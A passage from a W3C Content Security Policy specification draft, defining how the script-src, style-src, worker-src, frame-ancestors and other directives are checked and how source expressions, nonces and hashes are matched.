  3. Inline script blocks MUST pass through §4.2.4 Should element’s inline type behavior be blocked by Content Security Policy?. Their behavior will be blocked unless every policy allows inline script, either implicitly by not specifying a script-src (or default-src) directive, or explicitly, by specifying "unsafe-inline", a nonce-source or a hash-source that matches the inline block.

  4. The following JavaScript execution sinks are gated on the "unsafe-eval" source expression:

    Note: If a user agent implements non-standard sinks like setImmediate() or execScript(), they SHOULD also be gated on "unsafe-eval".

6.1.10.1. script-src Pre-request check

This directive’s pre-request check is as follows:

Given a request (request) and a policy (policy):

  1. If the result of executing §6.6.1.11 Get the effective directive for request on request is "worker-src", and policy contains a directive whose name is "worker-src", return "Allowed".

    Note: If worker-src is present, we’ll defer to it when handling worker requests.

  2. If request’s destination is script-like:

    1. If the result of executing §6.6.1.2 Does nonce match source list? on request’s cryptographic nonce metadata and this directive’s value is "Matches", return "Allowed".

    2. Let integrity expressions be the set of source expressions in this directive’s value that match the hash-source grammar.

    3. If integrity expressions is not empty:

      1. Let integrity sources be the result of executing the algorithn defined in Subresource Integrity §parse-metadata on request’s integrity metadata. [SRI]

      2. If integrity sources is "no metadata" or an empty set, skip the remaining substeps.

      3. Let bypass due to integrity match be true.

      4. For each source in integrity sources:

        1. If this directive’s value does not contain a source expression whose hash-algorithm is a case-sensitive match for source’s hash-algo component, and whose base64-value is a case-sensitive match for source’s base64-value, then set bypass due to integrity match to false.

      5. If bypass due to integrity match is true, return "Allowed".

      Note: Here, we verify only that the request contains a set of integrity metadata which is a subset of the hash-source source expressions specified by this directive. We rely on the browser’s enforcement of Subresource Integrity [SRI] to block non-matching resources upon response.

    4. If this directive’s value contains a source expression that is an ASCII case-insensitive match for the "'strict-dynamic'" keyword-source:

      1. If the request’s parser metadata is "parser-inserted", return "Blocked".

        Otherwise, return "Allowed".

        Note: "'strict-dynamic'" is explained in more detail in §8.2 Usage of "'strict-dynamic'".

    5. If the result of executing §6.6.1.3 Does request match source list? on request and this directive’s value is "Does Not Match", return "Blocked".

  3. Return "Allowed".

6.1.10.2. script-src Post-request check

This directive’s post-request check is as follows:

Given a request (request), a response (response), and a policy (policy):

  1. If the result of executing §6.6.1.11 Get the effective directive for request on request is "worker-src", and policy contains a directive whose name is "worker-src", return "Allowed".

    Note: If worker-src is present, we’ll defer to it when handling worker requests.

  2. If request’s destination is script-like:

    1. If the result of executing §6.6.1.2 Does nonce match source list? on request’s cryptographic nonce metadata and this directive’s value is "Matches", return "Allowed".

    2. If this directive’s value contains "'strict-dynamic'", and request’s parser metadata is not "parser-inserted", return "Allowed".

    3. If the result of executing §6.6.1.4 Does response to request match source list? on response, request, and this directive’s value is "Does Not Match", return "Blocked".

  3. Return "Allowed".

6.1.10.3. script-src Inline Check

This directive’s inline check algorithm is as follows:

Given an Element (element), a string (type), and a string (source):

  1. If type is "script attribute" or "script":

    1. Assert: element is not null.

    2. If the result of executing §6.6.2.3 Does element match source list for type and source? on element, this directive’s value, type, and source, is "Does Not Match", return "Blocked".

  2. If type is "navigation":

    1. Let unsafe-inline flag be false.

    2. For each expression in this directive’s value:

      1. If expression matches the nonce-source or hash-source grammar, return "Blocked".

      2. If expression matches the keyword-source "'strict-dynamic'", return "Blocked".

      3. If expression matches the keyword-source "'unsafe-inline'", set unsafe-inline flag to true.

    3. If unsafe-inline flag is false, return "Blocked".

    Note: Navigating to a javascript: URL is allowed only in the presence of "'unsafe-inline'" that isn’t overridden by a nonce, hash, or "'strict-dynamic'".

  3. Return "Allowed".

6.1.11. style-src

The style-src directive restricts the locations from which style may be applied to a Document. The syntax for the directive’s name and value is described by the following ABNF:

directive-name  = "style-src"
directive-value = serialized-source-list

The style-src directive governs several things:

  1. Style requests MUST pass through §4.1.3 Should request be blocked by Content Security Policy?. This includes:

    1. Stylesheet requests originating from a link element.

    2. Stylesheet requests originating from the @import rule.

    3. Stylesheet requests originating from a Link HTTP response header field [RFC8288].

  2. Responses to style requests MUST pass through §4.1.4 Should response to request be blocked by Content Security Policy?.

  3. Inline style blocks MUST pass through §4.2.4 Should element’s inline type behavior be blocked by Content Security Policy?. The styles will be blocked unless every policy allows inline style, either implicitly by not specifying a style-src (or default-src) directive, or explicitly, by specifying "unsafe-inline", a nonce-source or a hash-source that matches the inline block.

  4. The following CSS algorithms are gated on the unsafe-eval source expression:

    1. insert a CSS rule

    2. parse a CSS rule,

    3. parse a CSS declaration block

    4. parse a group of selectors

    This would include, for example, all invocations of CSSOM’s various cssText setters and insertRule methods [CSSOM] [HTML].

    This needs to be better explained. <https://github.com/w3c/webappsec-csp/issues/212>

6.1.11.1. style-src Pre-request Check

This directive’s pre-request check is as follows:

Given a request (request) and a policy (policy):

  1. Assert: policy is unused.

  2. If request’s destination is "style":

    1. If the result of executing §6.6.1.2 Does nonce match source list? on request’s cryptographic nonce metadata and this directive’s value is "Matches", return "Allowed".

    2. If the result of executing §6.6.1.3 Does request match source list? on request and this directive’s value is "Does Not Match", return "Blocked".

  3. Return "Allowed".

6.1.11.2. style-src Post-request Check

This directive’s post-request check is as follows:

Given a request (request), a response (response), and a policy (policy):

  1. Assert: policy is unused.

  2. If request’s destination is "style":

    1. If the result of executing §6.6.1.2 Does nonce match source list? on request’s cryptographic nonce metadata and this directive’s value is "Matches", return "Allowed".

    2. If the result of executing §6.6.1.4 Does response to request match source list? on response, request, and this directive’s value is "Does Not Match", return "Blocked".

  3. Return "Allowed".

6.1.11.3. style-src Inline Check

This directive’s inline check algorithm is as follows:

Given an Element (element), a string (type), and a string (source):

  1. If type is "style" or "style attribute":

    1. If the result of executing §6.6.2.3 Does element match source list for type and source? on element, this directive’s value, type, and source, is "Does Not Match", return "Blocked".

  2. Return "Allowed".

This directive’s initialization algorithm is as follows:

Do something interesting to the execution context in order to lock down interesting CSSOM algorithms. I don’t think CSSOM gives us any hooks here, so let’s work with them to put something reasonable together.

6.1.12. worker-src

The worker-src directive restricts the URLs which may be loaded as a Worker, SharedWorker, or ServiceWorker. The syntax for the directive’s name and value is described by the following ABNF:

directive-name  = "worker-src"
directive-value = serialized-source-list
Given a page with the following Content Security Policy:
Content-Security-Policy: worker-src https://example.com/

Fetches for the following code will return a network errors, as the URL provided do not match worker-src's source list:

<script>
  var blockedWorker = new Worker("data:application/javascript,...");
  blockedWorker = new SharedWorker("https://example.org/");
  navigator.serviceWorker.register('https://example.org/sw.js');
</script>
6.1.12.1. worker-src Pre-request Check

This directive’s pre-request check is as follows:

Given a request (request) and a policy (policy):

  1. Assert: policy is unused.

  2. If request’s destination is one of "serviceworker", "sharedworker", or "worker":

    1. If the result of executing §6.6.1.3 Does request match source list? on request and this directive’s value is "Does Not Match", return "Blocked".

  3. Return "Allowed".

6.1.12.2. worker-src Post-request Check

This directive’s post-request check is as follows:

Given a request (request), a response (response), and a policy (policy):

  1. Assert: policy is unused.

  2. If request’s destination is one of "serviceworker", "sharedworker", or "worker":

    1. If the result of executing §6.6.1.4 Does response to request match source list? on response, request, and this directive’s value is "Does Not Match", return "Blocked".

  3. Return "Allowed".

6.2. Document Directives

The following directives govern the properties of a document or worker environment to which a policy applies.

6.2.1. base-uri

The base-uri directive restricts the URLs which can be used in a Document's base element. The syntax for the directive’s name and value is described by the following ABNF:

directive-name  = "base-uri"
directive-value = serialized-source-list

The following algorithm is called during HTML’s set the frozen base url algorithm in order to monitor and enforce this directive:

6.2.1.1. Is base allowed for document?

Given a URL (base), and a Document (document), this algorithm returns "Allowed" if base may be used as the value of a base element’s href attribute, and "Blocked" otherwise:

  1. For each policy in document’s global object’s csp list:

    1. Let source list be null.

    2. If a directive whose name is "base-uri" is present in policy’s directive set, set source list to that directive’s value.

    3. If source list is null, skip to the next policy.

    4. If the result of executing §6.6.1.5 Does url match source list in origin with redirect count? on base, source list, document’s fallback base URL’s origin, and 0 is "Does Not Match":

      1. Let violation be the result of executing §2.4.1 Create a violation object for global, policy, and directive on document’s global object, policy, and "base-uri".

      2. Set violation’s resource to "inline".

      3. Execute §5.3 Report a violation on violation.

      4. If policy’s disposition is "enforce", return "Blocked".

    Note: We compare against the fallback base URL in order to deal correctly with things like an iframe srcdoc Document which has been sandboxed into an opaque origin.

  2. Return "Allowed".

6.2.2. plugin-types

The plugin-types directive restricts the set of plugins that can be embedded into a document by limiting the types of resources which can be loaded. The directive’s syntax is described by the following ABNF grammar:

directive-name  = "plugin-types"
directive-value = media-type-list

media-type-list = media-type *( RWS media-type )
media-type = type "/" subtype
; type and subtype are defined in RFC 2045

If a plugin-types directive is present, instantiation of an embed or object element will fail if any of the following conditions hold:

  1. The element does not explicitly declare a valid MIME type via a type attribute.

  2. The declared type does not match one of the items in the directive’s value.

  3. The fetched resource does not match the declared type.

Given a page with the following Content Security Policy:
Content-Security-Policy: plugin-types application/pdf

Fetches for the following code will all return network errors:

<!-- No 'type' declaration -->
<object data="https://example.com/flash"></object>

<!-- Non-matching 'type' declaration -->
<object data="https://example.com/flash" type="application/x-shockwave-flash"></object>

<!-- Non-matching resource -->
<object data="https://example.com/flash" type="application/pdf"></object>

If the page allowed Flash content by sending the following header:

Content-Security-Policy: plugin-types application/x-shockwave-flash

Then the second item above would load successfully:

<!-- Matching 'type' declaration and resource -->
<object data="https://example.com/flash" type="application/x-shockwave-flash"></object>
6.2.2.1. plugin-types Post-Request Check

This directive’s post-request check algorithm is as follows:

Given a request (request), a response (response), and a policy (policy):

  1. Assert: policy is unused.

  2. If request’s destination is either "object" or "embed":

    1. Let type be the result of extracting a MIME type from response’s header list.

    2. If type is not an ASCII case-insensitive match for any item in this directive’s value, return "Blocked".

  3. Return "Allowed".

6.2.2.2. Should plugin element be blocked a priori by Content Security Policy?:

Given an Element (plugin element), this algorithm returns "Blocked" or "Allowed" based on the element’s type attribute and the policy applied to its document:

  1. For each policy in plugin element’s node document’s CSP list:

    1. If policy contains a directive (directive) whose name is plugin-types:

      1. Let type be "application/x-java-applet" if plugin element is an applet element, or plugin element’s type attribute’s value if present, or "null" otherwise.

      2. Return "Blocked" if any of the following are true:

        1. type is null.

        2. type is not a valid MIME type.

        3. type is not an ASCII case-insensitive match for any item in directive’s value.

  2. Return "Allowed".

6.2.3. sandbox

The sandbox directive specifies an HTML sandbox policy which the user agent will apply to a resource, just as though it had been included in an iframe with a sandbox property.

The directive’s syntax is described by the following ABNF grammar, with the additional requirement that each token value MUST be one of the keywords defined by HTML specification as allowed values for the iframe sandbox attribute [HTML].

directive-name  = "sandbox"
directive-value = "" / token *( RWS token )

This directive has no reporting requirements; it will be ignored entirely when delivered in a Content-Security-Policy-Report-Only header, or within a meta element.

6.2.3.1. sandbox Response Check

This directive’s response check algorithm is as follows:

Given a request (request), a response (response), and a policy (policy):

  1. Assert: response is unused.

  2. If policy’s disposition is not "enforce", then return "Allowed".

  3. If request’s destination is one of "serviceworker", "sharedworker", or "worker":

    1. If the result of the Parse a sandboxing directive algorithm using this directive’s value as the input contains either the sandboxed scripts browsing context flag or the sandboxed origin browsing context flag flags, return "Blocked".

      Note: This will need to change if we allow Workers to be sandboxed into unique origins, which seems like a pretty reasonable thing to do.

  4. Return "Allowed".

6.2.3.2. sandbox Initialization

This directive’s initialization algorithm is responsible for adjusting a Document's forced sandboxing flag set according to the sandbox values present in its policies, as follows:

Given a Document or global object (context), a response (response), and a policy (policy):

  1. Assert: response is unused.

  2. If policy’s disposition is not "enforce", or context is not a Document, then abort this algorithm.

    Note: This will need to change if we allow Workers to be sandboxed, which seems like a pretty reasonable thing to do.

  3. Parse a sandboxing directive using this directive’s value as the input, and context’s forced sandboxing flag set as the output.

6.2.4. disown-opener

The disown-opener directive ensures that a resource will disown its opener when navigated to. The directive’s syntax is described by the following ABNF grammar:

directive-name  = "disown-opener"
directive-value = ""

This directive has no reporting requirements; it will be ignored entirely when delivered in a Content-Security-Policy-Report-Only header, or within a meta element.

Not sure this is the right model. We need to ensure that we take care of the inverse as well, and there might be a cleverer syntax that could encompass both a document’s opener, and a document’s openees. disown-openee is weird. Maybe disown 'opener' 'openee'? Do we need origin restrictions on either/both?

6.2.4.1. disown-opener Initialization

This directive’s initialization algorithm is as follows:

Given a Document or global object (context), a response (response), and a policy (policy):

  1. Assert: response and policy are unused.

  2. If context’s responsible browsing context has an opener browsing context, disown its opener.

What should this do in an iframe? Anything?

6.3. Navigation Directives

6.3.1. form-action

The form-action directive restricts the URLs which can be used as the target of a form submissions from a given context. The directive’s syntax is described by the following ABNF grammar:

directive-name  = "form-action"
directive-value = serialized-source-list
6.3.1.1. form-action Pre-Navigation Check

Given a request (request), a string (type, "form-submission or "other") and two browsing contexts (source and target), this algorithm returns "Blocked" if one or more of the ancestors of target violate the frame-ancestors directive delivered with the response, and "Allowed" otherwise. This constitutes the form-action' directive’s pre-navigation check:

  1. Assert: source and target are unused in this algorithm, as form-action is concerned only with details of the outgoing request.

  2. If type is "form-submission":

    1. If the result of executing §6.6.1.3 Does request match source list? on request and this directive’s value is "Does Not Match", return "Blocked".

  3. Return "Allowed".

6.3.2. frame-ancestors

The frame-ancestors directive restricts the URLs which can embed the resource using frame, iframe, object, embed, or applet element. Resources can use this directive to avoid many UI Redressing [UISECURITY] attacks, by avoiding the risk of being embedded into potentially hostile contexts.

The directive’s syntax is described by the following ABNF grammar:

directive-name  = "frame-ancestors"
directive-value = ancestor-source-list

ancestor-source-list = ( ancestor-source *( RWS ancestor-source) ) / "'none'"
ancestor-source      = scheme-source / host-source / "'self'"

The frame-ancestors directive MUST be ignored when contained in a policy declared via a meta element.

Note: The frame-ancestors directive’s syntax is similar to a source list, but frame-ancestors will not fall back to the default-src directive’s value if one is specified. That is, a policy that declares default-src 'none' will still allow the resource to be embedded by anyone.

6.3.2.1. frame-ancestors Navigation Response Check

Given a request (request), a response (navigation response) and two browsing contexts (source and target), this algorithm returns "Blocked" if one or more of the ancestors of target violate the frame-ancestors directive delivered with the response, and "Allowed" otherwise. This constitutes the frame-ancestors' directive’s navigation response check:

  1. Assert: request, navigation response, and source are unused in this algorithm, as frame-ancestors is concerned only with target’s ancestors.

  2. If target is not a nested browsing context, return "Allowed".

  3. Let current be target.

  4. While current has a parent browsing context (parent):

    1. Set current to parent.

    2. Let origin be the result of executing the URL parser on the ASCII serialization of parent’s active document’s relevant settings object’s origin.

    3. If §6.6.1.5 Does url match source list in origin with redirect count? returns Does Not Match when executed upon origin, this directive’s value, navigation response’s url’s origin, and 0, return "Blocked".

  5. Return "Allowed".

6.3.2.2. Relation to X-Frame-Options

This directive is similar to the X-Frame-Options header that several user agents have implemented. The 'none' source expression is roughly equivalent to that header’s DENY, 'self' to SAMEORIGIN, and so on. The major difference is that many user agents implement SAMEORIGIN such that it only matches against the top-level document’s location, while the frame-ancestors directive checks against each ancestor. If _any_ ancestor doesn’t match, the load is cancelled. [RFC7034]

In order to allow backwards-compatible deployment, the frame-ancestors directive _obsoletes_ the X-Frame-Options header. If a resource is delivered with an policy that includes a directive named frame-ancestors and whose disposition is "enforce", then the X-Frame-Options header MUST be ignored.

Spell this out in more detail as part of defining X-Frame-Options integration with the process a navigate response algorithm. <https://github.com/whatwg/html/issues/1230>

6.3.3. navigation-to

The navigation-to directive restricts the URLs to which a document can navigate by any means (a, form, window.location, window.open, etc.). The directive’s syntax is described by the following ABNF grammar:

directive-name  = "navigation-to"
directive-value = serialized-source-list

Should we use ancestor-source-list (basically, origins as opposed to paths?) It doesn’t appear that blocking navigation targets is any worse than blocking any other request type with regard to leakage. Given the redirect behavior, this devolves to an origin check in the presence of a malicious party anyway...

Given a request (request), a string (type, "form-submission or "other") and two browsing contexts (source and target), this algorithm returns "Blocked" if the navigation violates the navigation-to directive’s constraints, and "Allowed" otherwise. This constitutes the navigation-to' directive’s pre-navigation check:

  1. Assert: source and target are unused in this algorithm, as navigation-to is concerned only with details of the outgoing request. Likewise, type is unused, as all navigation requests are treated identically.

  2. If the result of executing §6.6.1.3 Does request match source list? on request and this directive’s value is "Does Not Match", return "Blocked".

  3. Return "Allowed".

6.4. Reporting Directives

Various algorithms in this document hook into the reporting process by constructing a violation object via §2.4.2 Create a violation object for request, policy, and directive or §2.4.1 Create a violation object for global, policy, and directive, and passing that object to §5.3 Report a violation to deliver the report.

6.4.1. report-uri

Note: The report-uri directive is deprecated. Please use the report-to directive instead. If the latter directive is present, this directive will be ignored. To ensure backwards compatibility, we suggest specifying both, like this:
Content-Security-Policy: ...; report-uri https://endpoint.com; report-to groupname

The report-uri directive defines a set of endpoints to which violation reports will be sent when particular behaviors are prevented.

directive-name  = "report-uri"
directive-value = uri-reference *( RWS uri-reference )

; The uri-reference grammar is defined in Section 4.1 of RFC 3986.

The directive has no effect in and of itself, but only gains meaning in combination with other directives.

6.4.2. report-to

The report-to directive defines a reporting group to which violation reports ought to be sent [REPORTING]. The directive’s behavior is defined in §5.3 Report a violation. The directive’s name and value are described by the following ABNF:

directive-name  = "report-to"
directive-value = token

6.5. Directives Defined in Other Documents

This document defines a core set of directives, and sets up a framework for modular extension by other specifications. At the time this document was produced, the following stable documents extend CSP:

Extensions to CSP MUST register themselves via the process outlined in [RFC7762]. In particular, note the criteria discussed in Section 4.2 of that document.

New directives SHOULD use the pre-request check, post-request check, response check, and initialization hooks in order to integrate themselves into Fetch and HTML.

6.6. Matching Algorithms

6.6.1. URL Matching

6.6.1.1. Does request violate policy?

Given a request (request) and a policy (policy), this algorithm returns the violated directive if the request violates the policy, and "Does Not Violate" otherwise.

  1. Let violates be "Does Not Violate".

  2. For each directive in policy:

    1. Let result be the result of executing directive’s pre-request check on request and policy.

    2. If result is "Blocked", then let violates be directive.

  3. Return violates.

6.6.1.2. Does nonce match source list?

Given a request’s cryptographic nonce metadata (nonce) and a source list (source list), this algorithm returns "Matches" if the nonce matches one or more source expressions in the list, and "Does Not Match" otherwise:

  1. Assert: source list is not null.

  2. If nonce is the empty string, return "Does Not Match".

  3. For each expression in source list:

    1. If expression matches the nonce-source grammar, and nonce is a case-sensitive match for expression’s base64-value part, return "Matches".

  4. Return "Does Not Match".

6.6.1.3. Does request match source list?

Given a request (request), and a source list (source list), this algorithm returns the result of executing §6.6.1.5 Does url match source list in origin with redirect count? on request’s current url, source list, request’s origin, and request’s redirect count.

Note: This is generally used in directives' pre-request check algorithms to verify that a given request is reasonable.

6.6.1.4. Does response to request match source list?

Given a request (request), and a source list (source list), this algorithm returns the result of executing §6.6.1.5 Does url match source list in origin with redirect count? on response’s url, source list, request’s origin, and request’s redirect count.

Note: This is generally used in directives' post-request check algorithms to verify that a given response is reasonable.

6.6.1.5. Does url match source list in origin with redirect count?

Given a URL (url), a source list (source list), an origin (origin), and a number (redirect count), this algorithm returns "Matches" if the URL matches one or more source expressions in source list, or "Does Not Match" otherwise:

  1. Assert: source list is not null.

  2. If source list is an empty list, return "Does Not Match".

  3. If source list contains a single item which is an ASCII case-insensitive match for the string "'none'", return "Does Not Match".

    Note: An empty source list (that is, a directive without a value: script-src, as opposed to script-src host1) is equivalent to a source list containing 'none', and will not match any URL.

  4. For each expression in source list:

    1. If §6.6.1.6 Does url match expression in origin with redirect count? returns "Matches" when executed upon url, expression, origin, and redirect count, return "Matches".

  5. Return "Does Not Match".

6.6.1.6. Does url match expression in origin with redirect count?

Given a URL (url), a source expression (expression), an origin (origin), and a number (redirect count), this algorithm returns "Matches" if url matches expression, and "Does Not Match" otherwise.

Note: origin is the origin of the resource relative to which the expression should be resolved. "'self'", for instance, will have distinct meaning depending on that bit of context.

  1. If expression is the string "*", return "Matches" if one or more of the following conditions is met:

    1. url’s scheme is a network scheme.

    2. url’s scheme is the same as origin’s scheme.

    Note: This logic means that in order to allow a resource from a non-network scheme, it has to be either explicitly specified (e.g. default-src * data: custom-scheme-1: custom-scheme-2:), or the protected resource must be loaded from the same scheme.

  2. If expression matches the scheme-source or host-source grammar:

    1. If expression has a scheme-part, and it does not scheme-part match url’s scheme, return "Does Not Match".

    2. If expression matches the scheme-source grammar, return "Matches".

  3. If expression matches the host-source grammar:

    1. If url’s host is null, return "Does Not Match".

    2. If expression does not have a scheme-part, and origin’s scheme does not scheme-part match url’s scheme, return "Does Not Match".

      Note: As with scheme-part above, we allow schemeless host-source expressions to be upgraded from insecure schemes to secure schemes.

    3. If expression’s host-part does not host-part match url’s host, return "Does Not Match".

    4. Let port-part be expression’s port-part if present, and null otherwise.

    5. If port-part does not port-part match url’s port and url’s scheme, return "Does Not Match".

    6. If expression contains a non-empty path-part, and redirect count is 0, then:

      1. Let path be the resulting of joining url’s path on the U+002F SOLIDUS character (/).

      2. If expression’s path-part does not path-part match path, return "Does Not Match".

    7. Return "Matches".

  4. If expression is an ASCII case-insensitive match for "'self'", return "Matches" if one or more of the following conditions is met:

    1. origin is the same as url’s origin

    2. origin’s host is the same as url’s host, origin’s port and url’s port are either the same or the default ports for their respective schemes, and one or more of the following conditions is met:

      1. url’s scheme is "https" or "wss"

      2. origin’s scheme is "http"

    Note: Like the scheme-part logic above, the "'self'" matching algorithm allows upgrades to secure schemes when it is safe to do so. We limit these upgrades to endpoints running on the default port for a particular scheme or a port that matches the origin of the protected resource, as this seems sufficient to deal with upgrades that can be reasonably expected to succeed.

  5. Return "Does Not Match".

6.6.1.7. scheme-part matching

An ASCII string scheme-part matches another ASCII string if a CSP source expression that contained the first as a scheme-part could potentially match a URL containing the latter as a scheme. For example, we say that "http" scheme-part matches "https".

Note: The matching relation is asymmetric. For example, the source expressions https: and https://example.com/ do not match the URL http://example.com/. We always allow a secure upgrade from an explicitly insecure expression. script-src http: is treated as equivalent to script-src http: https:, script-src http://example.com to script-src http://example.com https://example.com, and connect-src ws: to connect-src ws: wss:.

More formally, two ASCII strings (A and B) are said to scheme-part match if the following algorithm returns "Matches":

  1. If one of the following is true, return "Matches":

    1. A is an ASCII case-insensitive match for B.

    2. A is an ASCII case-insensitive match for "http", and B is an ASCII case-insensitive match for "https".

    3. A is an ASCII case-insensitive match for "ws", and B is an ASCII case-insensitive match for "wss", "http", or "https".

    4. A is an ASCII case-insensitive match for "wss", and B is an ASCII case-insensitive match for "https".

  2. Return "Does Not Match".

6.6.1.8. host-part matching

An ASCII string host-part matches another ASCII string if a CSP source expression that contained the first as a host-part could potentially match a URL containing the latter as a host. For example, we say that "www.example.com" host-part matches "www.example.com".

More formally, two ASCII strings (A and B) are said to host-part match if the following algorithm returns "Matches":

Note: The matching relation is asymmetric. That is, A matching B does not mean that B will match A. For example, *.example.com host-part matches www.example.com, but www.example.com does not host-part match *.example.com.

  1. If the first character of A is an U+002A ASTERISK character (*):

    1. Let remaining be the result of removing the leading ("*") from A.

    2. If remaining (including the leading U+002E FULL STOP character (.)) is an ASCII case-insensitive match for the rightmost characters of B, then return "Matches". Otherwise, return "Does Not Match".

  2. If A is not an ASCII case-insensitive match for B, return "Does Not Match".

  3. If A matches the IPv4address rule from [RFC3986], and is not "127.0.0.1"; or if A is an IPv6 address, return "Does Not Match".

    Note: A future version of this specification may allow literal IPv6 and IPv4 addresses, depending on usage and demand. Given the weak security properties of IP addresses in relation to named hosts, however, authors are encouraged to prefer the latter whenever possible.

  4. Return "Matches".

6.6.1.9. port-part matching

An ASCII string (port A) port-part matches two other ASCII strings (port B and scheme B) if a CSP source expression that contained the first as a port-part could potentially match a URL containing the latter as port and scheme. For example, "80" port-part matches matches "80"/"http".

  1. If port A is empty:

    1. If port B is the default port for scheme B, return "Matches". Otherwise, return "Does Not Match".

  2. If port A is equal to "*", return "Matches".

  3. If port A is a case-sensitive match for port B, return "Matches".

  4. If port B is empty:

    1. If port A is the default port for scheme B, return "Matches". Otherwise, return "Does not Match".

  5. Return "Does Not Match".

6.6.1.10. path-part matching

An ASCII string (path A) path-part matches another ASCII string (path B) if a CSP source expression that contained the first as a path-part could potentially match a URL containing the latter as a path. For example, we say that "/subdirectory/" path-part matches "/subdirectory/file".

Note: The matching relation is asymmetric. That is, path A matching path B does not mean that path B will match path A.

  1. If path A is empty, return "Matches".

  2. If path A consists of one character that is equal to the U+002F SOLIDUS character (/) and path B is empty, return "Matches".

  3. Let exact match be false if the final character of path A is the U+002F SOLIDUS character (/), and true otherwise.

  4. Let path list A and path list B be the result of strictly splitting path A and path B respestively on the U+002F SOLIDUS character (/).

  5. If path list A has more items than path list B, return "Does Not Match".

  6. If exact match is true, and path list A does not have the same number of items as path list B, return "Does Not Match".

  7. If exact match is false:

    1. Assert: the final item in path list A is the empty string.

    2. Remove the final item from path list A.

  8. For each piece A in path list A:

    1. Let piece B be the next item in path list B.

    2. Percent decode piece A.

    3. Percent decode piece B.

    4. If piece A is not a case-sensitive match for piece B, return "Does Not Match".

  9. Return "Matches".

6.6.1.11. Get the effective directive for request

Each fetch directive controls a specific destination of request. Given a request (request), the following algorithm returns either null or the name of the request’s effective directive:

  1. Switch on request’s destination, and execute the associated steps:

    ""
    1. If the request’s initiator is the empty string, return connect-src.

    "manifest"
    1. Return manifest-src.

    "object"
    "embed"
    1. Return object-src.

    "document"
    1. If the request’s target browsing context is a nested browsing context, return frame-src.

    "audio"
    "track"
    "video"
    1. Return media-src.

    "font"
    1. Return font-src.

    "image"
    1. Return img-src.

    "style"
    1. Return style-src.

    "script"
    "xslt"
    1. Return script-src.

    "sharedworker"
    "worker"
    1. Return worker-src.

  2. Return null.

6.6.2. Element Matching Algorithms

6.6.2.1. Is element nonceable?

Given an Element (element), this algorithm returns "Nonceable" if a nonce-source expression can match the element (as discussed in §7.2 Nonce Stealing), and "Not Nonceable" if such expressions should not be applied.

  1. If element does not have an attribute named "nonce", return "Not Nonceable".

  2. If element is a script element, then for each attribute in element:

    1. If attribute’s name is an ASCII case-insensitive match for the string "<script" or the string "<style", return "Not Nonceable".

    2. If attribute’s value contains an ASCII case-insensitive match the string "<script" or the string "<style", return "Not Nonceable".

  3. If element had a duplicate-attribute parse error during tokenization, return "Not Nonceable".

    We need some sort of hook in HTML to record this error if we’re planning on using it here. <https://github.com/whatwg/html/issues/3257>

  4. Return "Nonceable".

This processing is meant to mitigate the risk of dangling markup attacks that steal the nonce from an existing element in order to load injected script. It is fairly expensive, however, as it requires that we walk through all attributes and their values in order to determine whether the script should execute. Here, we try to minimize the impact by doing this check only for script elements when a nonce is present, but we should probably consider this algorithm as "at risk" until we know its impact. <https://github.com/w3c/webappsec-csp/issues/98>

6.6.2.2. Does a source list allow all inline behavior for type?

A source list allows all inline behavior of a given type if it contains the keyword-source expression 'unsafe-inline', and does not override that expression as described in the following algorithm:

Given a source list (list) and a string (type), the following algorithm returns "Allows" if all inline content of a given type is allowed and "Does Not Allow" otherwise.

  1. Let allow all inline be false.

  2. For each expression in list:

    1. If expression matches the nonce-source or hash-source grammar, return "Does Not Allow".

    2. If type is "script" or "script attribute" and expression matches the keyword-source "'strict-dynamic'", return "Does Not Allow".

      Note: 'strict-dynamic' only applies to scripts, not other resource types. Usage is explained in more detail in §8.2 Usage of "'strict-dynamic'".

    3. If expression is an ASCII case-insensitive match for the keyword-source "'unsafe-inline'", set allow all inline to true.

  3. If allow all inline is true, return "Allows". Otherwise, return "Does Not Allow".

Source lists that allow all inline behavior:
'unsafe-inline' http://a.com http://b.com
'unsafe-inline'

Source lists that do not allow all inline behavior due to the presence of nonces and/or hashes, or absence of 'unsafe-inline':

'sha512-321cba' 'nonce-abc'
http://example.com 'unsafe-inline' 'nonce-abc'

Source lists that do not allow all inline behavior when type is 'script' or 'script attribute' due to the presence of 'strict-dynamic', but allow all inline behavior otherwise:

'unsafe-inline' 'strict-dynamic'
http://example.com 'strict-dynamic' 'unsafe-inline'
6.6.2.3. Does element match source list for type and source?

Given an Element (element), a source list (list), a string (type), and a string (source), this algorithm returns "Matches" or "Does Not Match".

  1. Assert: source contains the value of a script element’s text IDL attribute, the value of a style element’s textContent IDL attribute, or the value of one of a script element’s event handler IDL attribute.

    Note: This means that source will be interpreted with the encoding of the page in which it is embedded. See the integration points in §4.2 Integration with HTML for more detail.

  2. If §6.6.2.2 Does a source list allow all inline behavior for type? returns "Allows" given list and type, return "Matches".

  3. If type is "script" or "style", and §6.6.2.1 Is element nonceable? returns "Nonceable" when executed upon element:

    1. For each expression in list:

      1. If expression matches the nonce-source grammar, and element has a nonce attribute whose value is a case-sensitive match for expression’s base64-value part, return "Matches".

    Note: Nonces only apply to inline script and inline style, not to attributes of either element.

  4. Let hashes match attributes be false.

  5. For each expression in list:

    1. If expression is an ASCII case-insensitive match for the keyword-source "'unsafe-hashed-attributes'", set hashes match attributes to true. Break out of the loop.

  6. If type is "script" or "style", or hashes match attributes is true:

    1. For each expression in list:

      1. If expression matches the hash-source grammar:

        1. Let algorithm be null.

        2. If expression’s hash-algorithm part is an ASCII case-insensitive match for "sha256", set algorithm to SHA-256.

        3. If expression’s hash-algorithm part is an ASCII case-insensitive match for "sha384", set algorithm to SHA-384.

        4. If expression’s hash-algorithm part is an ASCII case-insensitive match for "sha512", set algorithm to SHA-512.

        5. If algorithm is not null:

          1. Let actual be the result of base64 encoding the result of applying algorithm to source.

          2. Let expected be expression’s base64-value part, with all '-' characters replaced with '+', and all '_' characters replaced with '/'.

            Note: This replacement normalizes hashes expressed in base64url encoding into base64 encoding for matching.

          3. If actual is a case-sensitive match for expected, return "Matches".

    Note: Hashes apply to inline script and inline style. If the "'unsafe-hashed-attributes'" source expression is present, they will also apply to event handlers and style attributes.

  7. Return "Does Not Match".

7. Security and Privacy Considerations

7.1. Nonce Reuse

Nonces override the other restrictions present in the directive in which they’re delivered. It is critical, then, that they remain unguessable, as bypassing a resource’s policy is otherwise trivial.

If a server delivers a nonce-source expression as part of a policy, the server MUST generate a unique value each time it transmits a policy. The generated value SHOULD be at least 128 bits long (before encoding), and SHOULD be generated via a cryptographically secure random number generator in order to ensure that the value is difficult for an attacker to predict.

